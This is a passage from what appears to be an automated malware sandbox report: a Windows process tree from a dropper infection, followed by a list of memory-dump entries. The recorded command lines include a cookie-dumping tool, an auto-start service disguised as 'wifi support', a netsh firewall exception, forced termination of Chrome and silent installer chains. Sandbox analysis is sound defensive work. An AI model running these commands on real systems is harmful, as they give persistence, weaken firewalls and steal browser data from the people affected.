                                                                                                                                      PID:5244
                                                                                                                                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:341004 /prefetch:2
                                                                                                                                    6⤵
                                                                                                                                      PID:5376
                                                                                                                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:275471 /prefetch:2
                                                                                                                                      6⤵
                                                                                                                                        PID:5896
                                                                                                                                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:472095 /prefetch:2
                                                                                                                                        6⤵
                                                                                                                                          PID:5916
                                                                                                                                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:341010 /prefetch:2
                                                                                                                                          6⤵
                                                                                                                                            PID:5944
                                                                                                                                          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:209940 /prefetch:2
                                                                                                                                            6⤵
                                                                                                                                              PID:5960
                                                                                                                                            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:668680 /prefetch:2
                                                                                                                                              6⤵
                                                                                                                                                PID:6036
                                                                                                                                              • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                                "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:1324041 /prefetch:2
                                                                                                                                                6⤵
                                                                                                                                                  PID:6048
                                                                                                                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:603147 /prefetch:2
                                                                                                                                                  6⤵
                                                                                                                                                    PID:6000
                                                                                                                                                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:1258505 /prefetch:2
                                                                                                                                                    6⤵
                                                                                                                                                      PID:6064
                                                                                                                                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:1061897 /prefetch:2
                                                                                                                                                      6⤵
                                                                                                                                                        PID:6096
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\e9-67902-34f-a4591-8333be1477e1e\Pidusadaezhi.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\e9-67902-34f-a4591-8333be1477e1e\Pidusadaezhi.exe"
                                                                                                                                                    4⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Modifies system certificate store
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:1968
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gfxlcxup.km5\GcleanerEU.exe /eufive & exit
                                                                                                                                                      5⤵
                                                                                                                                                        PID:4268
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3cxlpdqr.ywd\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                        5⤵
                                                                                                                                                          PID:7252
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4plqncyu.kki\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                                                                          5⤵
                                                                                                                                                            PID:7988
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\4plqncyu.kki\Setup3310.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\4plqncyu.kki\Setup3310.exe /Verysilent /subid=623
                                                                                                                                                              6⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                              PID:8040
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-2185N.tmp\Setup3310.tmp
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-2185N.tmp\Setup3310.tmp" /SL5="$10300,138429,56832,C:\Users\Admin\AppData\Local\Temp\4plqncyu.kki\Setup3310.exe" /Verysilent /subid=623
                                                                                                                                                                7⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                • Modifies system certificate store
                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                PID:8088
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-SU8CG.tmp\Setup.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-SU8CG.tmp\Setup.exe" /Verysilent
                                                                                                                                                                  8⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                  PID:3316
                                                                                                                                                                  • C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe
                                                                                                                                                                    "C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"
                                                                                                                                                                    9⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:3460
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                      10⤵
                                                                                                                                                                        PID:3808
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                        10⤵
                                                                                                                                                                          PID:4912
                                                                                                                                                                      • C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe
                                                                                                                                                                        "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"
                                                                                                                                                                        9⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:3472
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 896
                                                                                                                                                                          10⤵
                                                                                                                                                                          • Program crash
                                                                                                                                                                          PID:4592
                                                                                                                                                                      • C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe
                                                                                                                                                                        "C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                                                                                                                                        9⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:3492
                                                                                                                                                                      • C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe
                                                                                                                                                                        "C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"
                                                                                                                                                                        9⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:3484
                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\3850195.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\3850195.exe"
                                                                                                                                                                          10⤵
                                                                                                                                                                            PID:4260
                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\8176450.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\8176450.exe"
                                                                                                                                                                            10⤵
                                                                                                                                                                              PID:4388
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                11⤵
                                                                                                                                                                                  PID:4504
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\5905688.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\5905688.exe"
                                                                                                                                                                                10⤵
                                                                                                                                                                                  PID:4640
                                                                                                                                                                              • C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe
                                                                                                                                                                                "C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                                                                                9⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                PID:3536
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-RU057.tmp\LabPicV3.tmp
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-RU057.tmp\LabPicV3.tmp" /SL5="$103DC,506127,422400,C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                                                                                  10⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                  PID:3584
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-3HSN6.tmp\12(((((.exe
                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-3HSN6.tmp\12(((((.exe" /S /UID=lab214
                                                                                                                                                                                    11⤵
                                                                                                                                                                                      PID:3920
                                                                                                                                                                                      • C:\Program Files\Windows Photo Viewer\JFXVTUPPTX\prolab.exe
                                                                                                                                                                                        "C:\Program Files\Windows Photo Viewer\JFXVTUPPTX\prolab.exe" /VERYSILENT
                                                                                                                                                                                        12⤵
                                                                                                                                                                                          PID:5000
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-V8SRM.tmp\prolab.tmp
                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-V8SRM.tmp\prolab.tmp" /SL5="$402EE,575243,216576,C:\Program Files\Windows Photo Viewer\JFXVTUPPTX\prolab.exe" /VERYSILENT
                                                                                                                                                                                            13⤵
                                                                                                                                                                                              PID:5024
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\15-ec819-1c2-acab1-60e8ae17ea029\Qiqasiberi.exe
                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\15-ec819-1c2-acab1-60e8ae17ea029\Qiqasiberi.exe"
                                                                                                                                                                                            12⤵
                                                                                                                                                                                              PID:5060
                                                                                                                                                                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                                                                                                                                                                "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                                                                                                                                13⤵
                                                                                                                                                                                                  PID:5344
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\08-2cd6a-4d4-f09bb-708b5bd8e0d20\Caewasujasha.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\08-2cd6a-4d4-f09bb-708b5bd8e0d20\Caewasujasha.exe"
                                                                                                                                                                                                12⤵
                                                                                                                                                                                                  PID:5128
                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wke0x4w2.a4d\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                      PID:5600
                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cit5r324.xxz\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                        PID:5672
                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qd4e0mep.mzc\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                          PID:5816
                                                                                                                                                                                                • C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe
                                                                                                                                                                                                  "C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"
                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:3572
                                                                                                                                                                                                • C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe
                                                                                                                                                                                                  "C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                  PID:3524
                                                                                                                                                                                                • C:\Program Files (x86)\Data Finder\Versium Research\updatetes.exe
                                                                                                                                                                                                  "C:\Program Files (x86)\Data Finder\Versium Research\updatetes.exe"
                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                  PID:3628
                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\isvoc1q4.xgy\google-game.exe & exit
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:2584
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\isvoc1q4.xgy\google-game.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\isvoc1q4.xgy\google-game.exe
                                                                                                                                                                                              6⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                                              PID:2216
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\isvoc1q4.xgy\google-game.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\isvoc1q4.xgy\google-game.exe" -a
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:2152
                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iod5djac.dkt\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:3372
                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xbfvn21j.cqm\toolspab1.exe & exit
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:3592
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\xbfvn21j.cqm\toolspab1.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\xbfvn21j.cqm\toolspab1.exe
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                                                  PID:3672
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\xbfvn21j.cqm\toolspab1.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\xbfvn21j.cqm\toolspab1.exe
                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                      PID:4352
                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\drrq0fku.xgn\SunLabsPlayer.exe /S & exit
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:4416
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\drrq0fku.xgn\SunLabsPlayer.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\drrq0fku.xgn\SunLabsPlayer.exe /S
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:4448
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz9B3.tmp\tempfile.ps1"
                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                            PID:4828
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2057.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2057.exe
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                PID:1640
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2057.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\2057.exe"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                  PID:2940
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2892.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2892.exe
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:1700
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wtfqtpfn\
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:2272
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qobfuyni.exe" C:\Windows\SysWOW64\wtfqtpfn\
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:2340
                                                                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                      "C:\Windows\System32\sc.exe" create wtfqtpfn binPath= "C:\Windows\SysWOW64\wtfqtpfn\qobfuyni.exe /d\"C:\Users\Admin\AppData\Local\Temp\2892.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:2520
                                                                                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                        "C:\Windows\System32\sc.exe" description wtfqtpfn "wifi internet conection"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:2632
                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                          "C:\Windows\System32\sc.exe" start wtfqtpfn
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:2696
                                                                                                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:2768
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\3A9C.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\3A9C.exe
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Modifies system certificate store
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            PID:2072
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:2564
                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                  taskkill /f /im chrome.exe
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                  PID:2608
                                                                                                                                                                                                            • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                              PID:2700
                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                PID:3084
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-RU056.tmp\lylal220.tmp
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-RU056.tmp\lylal220.tmp" /SL5="$103D8,172303,88576,C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                              PID:3560
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-L38BH.tmp\èeèrgegdè_éçè_)))_.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-L38BH.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=lylal220
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:3872
                                                                                                                                                                                                                  • C:\Program Files\Windows NT\PVSACHYHMH\irecord.exe
                                                                                                                                                                                                                    "C:\Program Files\Windows NT\PVSACHYHMH\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:5332
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-B760A.tmp\irecord.tmp
                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-B760A.tmp\irecord.tmp" /SL5="$40246,5808768,66560,C:\Program Files\Windows NT\PVSACHYHMH\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:5352
                                                                                                                                                                                                                          • C:\Program Files (x86)\i-record\I-Record.exe
                                                                                                                                                                                                                            "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                              PID:5732
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\8d-11a8c-85f-458a3-e9005774b19b7\Foqilugelae.exe
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\8d-11a8c-85f-458a3-e9005774b19b7\Foqilugelae.exe"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:5440
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\df-d40e3-0eb-c3fb7-6f32f92a853af\Xemyqidaeshu.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\df-d40e3-0eb-c3fb7-6f32f92a853af\Xemyqidaeshu.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:5576
                                                                                                                                                                                                                        • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                          "LogonUI.exe" /flags:0x0
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:5476

                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                          • memory/288-119-0x0000000000080000-0x0000000000089000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/288-118-0x00000000000D0000-0x00000000000D5000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            20KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/452-63-0x00000000001B0000-0x00000000001BC000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            48KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/524-184-0x0000000000230000-0x0000000000231000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/524-231-0x00000000031C0000-0x0000000003259000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            612KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/524-232-0x00000000031C0000-0x0000000003259000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            612KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/524-230-0x0000000003110000-0x00000000031BD000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            692KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/524-186-0x0000000003050000-0x0000000003103000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            716KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/524-183-0x0000000002150000-0x0000000002399000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2.3MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/524-185-0x0000000000C30000-0x0000000000D1D000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            948KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/740-215-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/772-110-0x0000000000220000-0x0000000000229000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/772-112-0x0000000000400000-0x0000000000457000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            348KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/784-202-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            128KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/808-61-0x00000000753E1000-0x00000000753E3000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/808-59-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            48KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/852-145-0x0000000000060000-0x0000000000069000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/852-144-0x0000000000070000-0x0000000000075000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            20KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/960-127-0x0000000004904000-0x0000000004906000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/960-81-0x0000000004901000-0x0000000004902000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/960-76-0x0000000000300000-0x000000000032F000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            188KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/960-82-0x00000000003A0000-0x00000000003BB000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            108KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/960-87-0x0000000004902000-0x0000000004903000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/960-92-0x0000000004903000-0x0000000004904000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/960-77-0x0000000000400000-0x000000000046F000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            444KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/960-114-0x00000000004E0000-0x00000000004F9000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            100KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/984-142-0x0000000002013000-0x0000000002014000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/984-138-0x0000000002011000-0x0000000002012000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/984-141-0x0000000002014000-0x0000000002016000-memory.dmp

